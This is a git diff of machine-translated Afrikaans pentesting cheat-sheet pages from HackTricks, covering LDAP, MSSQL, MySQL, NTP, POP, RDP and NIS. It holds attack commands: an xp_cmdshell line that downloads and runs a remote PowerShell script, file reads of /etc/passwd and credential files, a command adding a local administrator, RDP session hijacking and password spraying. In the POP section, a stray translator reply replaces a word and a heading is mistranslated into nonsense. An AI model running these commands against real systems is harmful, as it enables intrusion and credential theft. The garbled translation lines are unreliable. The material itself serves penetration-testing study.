ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -286,11 +286,11 @@ Standaard is dit geïnstalleer in: _/opt/jxplorer_
### Godap
Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde funksies soos soek/maak/wysig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Katalogus Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens.
Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde kenmerke soos soek/maak/wyzig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Directory Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens.
![](../images/godap.png)
Jy kan dit toegang verkry in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies lees die [Wiki](https://github.com/Macmod/godap/wiki).
Jy kan dit toegang in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Vir gebruiksvoorbeelde en instruksies, lees die [Wiki](https://github.com/Macmod/godap/wiki).
### Ldapx
@ -310,7 +310,7 @@ As jy toegang kan verkry tot die lêers waar die databasisse bevat is (kan wees
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
U kan john voed met die wagwoord-hash (van '{SSHA}' na 'structural' sonder om 'structural' by te voeg).
U kan john voed met die wagwoordhash (van '{SSHA}' tot 'structural' sonder om 'structural' by te voeg).
### Konfigurasie Lêers
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere met 'n bestaande gebruikersnaam misluk om in te log.
> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere misluk om in te log met 'n bestaande gebruikersnaam.
#### Metasploit (het akkrediteer nodig)
```bash
@ -157,12 +157,12 @@ SELECT * FROM sysusers
1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:
- **Server** Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
- **Database** Voorbeelde dek databasis rolle, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
- **Database** Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
- **Schema** Sluit tafels, weergawes, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoofpersoon toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
- **Servervlak** met behulp van aanmeldings
- **Databasisvlak** met behulp van gebruikers
3. **Hoofpersoon:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Hoofpersone sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
3. **Hoofpersoon:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang te verkry tot 'n securable. Hoofpersone sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Voer OS Opdragte Uit
> [!CAUTION]
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
>
> ```sql
> Use master
@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies uit te voer met:
> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies te loop met:
>
> ```sql
> Use master;
@ -286,7 +286,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in:
### **Skryf Lêers**
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat administratiewe regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -438,7 +438,7 @@ Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoo
### Van db_owner na sysadmin
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daarin geskep is, as die eienaar (**admin**) kan **uitvoer**.
As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -533,25 +533,25 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## Uittreksel van wagwoorde uit SQL Server Linked Servers
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier gevind word](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is:
1. Aktiveer TCP/IP op die SQL Server instansies;
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorkenmerk bygevoeg word, wat -T7806 is.
3. Aktiveer afstandsadminverbinding.
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorsnyer vlag bygevoeg word, wat -T7806 is.
3. Aktiveer afstandsadministrateurverbinding.
Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Plaaslike Privilege Escalation
Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
Die gebruiker wat die MSSQL-server uitvoer, sal die voorregte-token **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:
{{#ref}}
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -4,7 +4,7 @@
## **Basiese Inligting**
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestruktureerde Vraataal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestructureerde Navraagtaal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
**Standaard poort:** 3306
```
@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Afstand
### Afgeleë
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## Eksterne Enumerasie
Sommige van die enumerasie aksies vereis geldige akrediteerlinge
Sommige van die enumerasie aksies vereis geldige akrediteer.
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQL opdragte**
## **MySQL-opdragte**
```bash
show databases;
use <database>;
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
U kan in die dokumentasie die betekenis van elke privaatheid sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL Lêer RCE
@ -111,20 +111,20 @@ U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysq
## MySQL arbitrêre lêer lees deur kliënt
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dan 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
Neem asseblief kennis dat dit die gedrag is wat gebruik word:
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
Let asseblief daarop dat dit die gedrag is wat gebruik word:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Let op die "local" woord)\
Want sonder die "local" kan jy kry:
(Let op die "lokale" woord)\
Want sonder die "lokale" kan jy kry:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Inisiële PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -135,7 +135,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql Gebruiker
Dit sal baie interessant wees as mysql as **root** draai:
Dit sal baie interessant wees as mysql as **root** loop:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -146,12 +146,12 @@ In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy w
- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfaan.
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerk koppelvlak.
- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.
### Privilege verhoging
### Privilege escalasie
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -216,11 +216,11 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Uittreksel van MySQL geloofsbriewe uit lêers
Binne _/etc/mysql/debian.cnf_ kan jy die **planktekst wagwoord** van die gebruiker **debian-sys-maint** vind
Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind
```bash
cat /etc/mysql/debian.cnf
```
U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.
U kan **hierdie geloofsbriewe gebruik om in te log in die mysql-databasis**.
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._
@ -230,7 +230,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### Aktivering van logging
Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontkommentarieer:
Jy kan logging van mysql navrae binne `/etc/mysql/my.cnf` aktiver deur die volgende lyne te ontkommentarieer:
![](<../images/image (899).png>)
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap

View File

@ -13,7 +13,7 @@ Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle o
- **Sekuriteitsmaatreëls**:
- Gebruik vertroude NTP-bronne met outentisering.
- Beperk NTP-bediener netwerktoegang.
- Monitor sinkronisasie vir tekens van vervalsing.
- Monitor sinkronisasie vir tekens van manipulasie.
**Standaard poort:** 123/udp
```
@ -42,9 +42,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Hoe NTP DDoS Aanval Werk**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
Die **NTP protokol**, wat UDP gebruik, laat werking toe sonder die behoefte aan handdruk prosedures, anders as TCP. Hierdie eienskap word uitgebuit in **NTP DDoS versterking aanvalle**. Hier skep aanvallers pakkette met 'n vals bron IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP bediener toe om met baie groter datavolumes te reageer, wat die aanval versterk.
Die **NTP-protokol**, wat UDP gebruik, stel operasie sonder die behoefte aan handdrukprosedures in staat, anders as TCP. Hierdie eienskap word in **NTP DDoS versterking aanvalle** uitgebuit. Hier skep aanvallers pakkette met 'n vals bron-IP, wat dit laat lyk asof die aanval versoeke van die slagoffer kom. Hierdie pakkette, aanvanklik klein, laat die NTP-bediener toe om met baie groter datavolumes te reageer, wat die aanval versterk.
Die _**MONLIST**_ opdrag, ten spyte van sy seldsame gebruik, kan die laaste 600 kliënte wat aan die NTP diens gekoppel is, rapporteer. Terwyl die opdrag self eenvoudig is, beklemtoon die misbruik daarvan in sulke aanvalle kritieke sekuriteitskwesbaarhede.
Die _**MONLIST**_ opdrag, ten spyte van sy seldsame gebruik, kan die laaste 600 kliënte wat aan die NTP-diens gekoppel is, rapporteer. Terwyl die opdrag self eenvoudig is, beklemtoon die misbruik daarvan in sulke aanvalle kritieke sekuriteitskwesbaarhede.
```bash
ntpdc -n -c monlist <IP>
```
@ -64,7 +64,7 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Basiese Inligting
**Post Office Protocol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die Internet, wat gebruik word vir die onttrekking en **herwinning van e-pos vanaf 'n afgeleë posbediener**, wat dit op die plaaslike toestel beskikbaar maak. Geleë binne die toepassingslaag van die OSI-model, stel hierdie protokol gebruikers in staat om e-pos te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die totstandkoming van 'n verbinding met die posbediener, die aflaai van alle boodskappe, die stoor van hierdie boodskappe plaaslik op die kliëntstelsel, en daarna die verwydering daarvan van die bediener. Alhoewel daar drie weergawes van hierdie protokol is, is **POP3** die mees algemeen gebruikte weergawe.
**Post Office Protocol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die Internet, wat gebruik word vir die onttrekking en **herwinning van e-pos vanaf 'n afstandsposbediener**, wat dit beskikbaar maak op die plaaslike toestel. Geleë binne die toepassingslaag van die OSI-model, stel hierdie protokol gebruikers in staat om e-pos te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die totstandbrenging van 'n verbinding met die posbediener, die aflaai van alle boodskappe, die stoor van hierdie boodskappe plaaslik op die kliëntstelsel, en daarna die verwydering daarvan van die bediener. Alhoewel daar drie weergawes van hierdie protokol is, is **POP3** die mees algemeen gebruikte weergawe.
**Standaard poorte:** 110, 995(ssl)
```
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Voorbeeld:
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -71,9 +71,9 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
## Tekeninge van Wagwoorde
## Watter Wette
POP-bedieners met die instelling **`auth_debug`** geaktiveer, sal die logs wat gegenereer word, verhoog. As egter **`auth_debug_passwords`** of **`auth_verbose_passwords`** as **`true`** gestel is, kan wagwoorde ook in duidelike teks in daardie logs aangeteken word.
POP-bedieners met die instelling **`auth_debug`** geaktiveer, sal die logs wat gegenereer word, verhoog. As egter **`auth_debug_passwords`** of **`auth_verbose_passwords`** as **`true`** gestel is, kan wagwoorde ook in duidelike teks in daardie logs geregistreer word.
## HackTricks Outomatiese Opdragte
```
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Verbinde met bekende akrediteerbesonderhede/hash
### Verbind met bekende akrediteerbesonderhede/hash
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
@ -60,11 +60,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker kan naboots met slegs Windows-gereedskap en -kenmerke.
Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet naboots met slegs Windows-gereedskap en -kenmerke.
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskop.
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die virtuele desktops van die gebruiker te interaksie (wagwoorde in notepad sonder om op die skyf gestoor te word, ander RDP-sessies wat op ander masjiene oop is...)
#### **Mimikatz**
@ -75,9 +75,9 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Deur hierdie tegniek te kombineer met **stickykeys** of **utilman**, sal jy in staat wees om toegang te verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd.
Deur hierdie tegniek te kombineer met **stickykeys** of **utilman kan jy toegang verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd**
Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggegaan is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggewerk is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Proses Inspuiting
@ -95,12 +95,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** is 'n post-exploitatie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
- Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn
- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kan lei
- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kanale
- Voer arbitrêre SHELL en PowerShell opdragte op die teiken uit sonder om lêers op te laai
- Laai lêers op en af na/vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -16,7 +16,7 @@ PORT STATE SERVICE
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
Soms gee dit jou geen inligting nie, in ander gevalle sal jy iets soos hierdie kry:
Soms gee dit jou nie enige inligting nie, in ander gevalle sal jy iets soos hierdie kry:
![](<../images/image (553).png>)
@ -34,11 +34,11 @@ Lees[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) om meer te leer
## NIS
Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is om die **NIS domeinnaam** te ontdek, sonder welke vordering gestop word.
Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is die ontdekking van die **NIS domeinnaam**, sonder welke vordering gestop word.
![](<../images/image (859).png>)
Die verkenningsreis begin met die installering van nodige pakkette (`apt-get install nis`). Die daaropvolgende stap vereis die gebruik van `ypwhich` om die teenwoordigheid van die NIS bediener te bevestig deur dit te ping met die domeinnaam en bediener IP, terwyl hierdie elemente geanonimiseer word vir sekuriteit.
Die verkenningsreis begin met die installering van nodige pakkette (`apt-get install nis`). Die volgende stap vereis die gebruik van `ypwhich` om die teenwoordigheid van die NIS bediener te bevestig deur dit te ping met die domeinnaam en bediener IP, terwyl hierdie elemente geanonimiseer word vir sekuriteit.
Die finale en belangrike stap behels die `ypcat` opdrag om sensitiewe data te onttrek, veral versleutelde gebruikerswagwoorde. Hierdie hashes, eens gekraak met gereedskap soos **John the Ripper**, onthul insigte in stelseloegang en voorregte.
```bash
@ -51,12 +51,12 @@ ypcat d <domain-name> h <server-ip> passwd.byname
```
### NIF lêers
| **Meester lêer** | **Kaart(e)** | **Notas** |
| **Meester lêer** | **Kaart(e)** | **Notas** |
| ---------------- | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Bevat gasname en IP besonderhede |
| /etc/passwd | passwd.byname, passwd.byuid | NIS gebruiker wagwoord lêer |
| /etc/group | group.byname, group.bygid | NIS groep lêer |
| /usr/lib/aliases | mail.aliases | Besonderhede van e-pos aliase |
